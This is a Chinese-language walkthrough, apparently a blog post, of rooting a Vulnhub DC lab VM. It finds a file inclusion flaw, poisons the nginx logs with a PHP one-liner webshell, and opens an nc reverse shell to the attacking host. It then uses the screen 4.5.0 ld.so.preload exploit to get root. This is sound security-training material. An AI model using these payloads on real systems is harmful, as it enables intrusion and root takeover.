Vulnhub简介
Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。
靶场部署
vulnhub官网:https://www.vulnhub.com
1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);
2、解压会得到一个.ova的文件,然后在VMware中打开即可;
环境配置
攻击机kali:192.168.2.19
DC靶机:192.168.2.22
(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)
虚拟机打开如下所示:
信息收集
1、使用nmap扫描靶机,开放了111端口和80端口
2、111端口没有什么可以利用的点,只有80端口了,访问一下80端口
得知:网站使用的是Nginx的中间件,php语言
3、最终在Contact页面发现一个有交互的地方
4、尝试了很多的方式,由于自己的初心,没有发现问题所在,看了大佬的文章才知道。原来提交的内容之后,刷新thankyou.php页面,下方时间会有变化
5、之后使用DirBuster工具来扫描一下敏感文件
工具的大概使用介绍如下:
使用DirBuster扫描敏感文件,扫描到thankyou.php文件和footer文件,访问一下footer.php文件,发现该文件的内容就是之前提交之后下方显示的时间,这样的话,thankyou.php文件中应该包含了footer.php文件。所以thankyou.php文件应该是存在文件包含漏洞的。
文件包含漏洞的利用
1、在Contact.php页面中填写完表单提交,然后使用bp抓包发送到repeater模块
2、然后不断发包,查看数字也会变化
3、读取/etc/passwd文件,能够读取,看来是确实存在文件包含漏洞的。
4、读取nginx配置文件信息,发现nginx日志记录文件路径
#nginx配置文件路径 /etc/nginx/nginx.conf
#nginx日志文件路径
/var/log/nginx/error.log
/var/log/nginx/access.log
5、使用burp抓包发送到Repeater模块,然后修改file参数,传入一句话:file=<?php system($_GET[‘a’]) ?>
6、进行包含时nginx的错误日志,利用一句话木马
反弹shell
1、利用一句话来反弹shell
首先在kali机上设置监听:nc -nlvp 1234
然后使用一句话 nc -e /bin/sh IP port 来反弹
成功反弹shell
2、 接受交互式的shell,因为之前得到的shell不太稳定,所以需要去拿到一个稳定的shell,使用命令:python -c “import pty;pty.spawn(‘/bin/bash’)”
3、查看系统相关的一些信息
3、查找具有SUID权限的文件
这两个命令都可以查找
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
suid用来提权的一般有:Nmap 、Vim、 find、 Bash、 More 、Less、 Nano 、cp
但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权
提权
1、使用命令searchsploit来查询漏洞利用的脚本
searchsploit screen 4.5.0
2、利用POC这个脚本,将其先复制出来
cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh
3、查看一下脚本的使用
大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传的靶机,按照提示的命令进行提权
第一步
将第一部分的c代码放入libhax.c文件中进行编译
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
第二步
将第二部分c代码放入rootshell.c文件中进行编译
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
第三步
将编译好的可执行文件上传到靶机的tmp目录下
第四步
按照脚本提示的命令进行提权
步骤一:直接复制下面红线框中的代码,然后再终端中输入,就可以建立libhax.c和rootshell.c两个文件
步骤二:使用以下命令编译c文件
命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
命令:gcc -o /tmp/rootshell /tmp/rootshell.c
步骤三:通过nc将文件传输到目标机的tmp文件夹(记得kali和靶机都是在tmp目录下进行操作,因为tmp目录的权限很大)
kali:(kali的终端连接之后再断开,就可以在靶机的shell里面看到传输完毕了)
nc -nlvp 1234 < libhax.so
nc -nlvp 1234 < rootshell
目标机:
nc 192.168.2.19(kali的ip)1234 > libhax.so
nc 192.168.2.19(kali的ip)1234 > rootshell
步骤四:
根据提权说明
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so”
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权
得到flag,在root目录下
知识点总结
1、端口扫描,熟悉常见的端口
2、目录扫描,工具有:御剑、dirsearch、DirBuster等等
3、文件包含漏洞及其利用
4、searchsploit命令的使用
5、screen提权
参考链接
https://www.cnblogs.com/sym945/p/13890266.html
https://blog.csdn.net/weixin_44740530/article/details/106401834
来源:freebuf.com 2021-01-19 16:51:50 by: waizai
请登录后发表评论
注册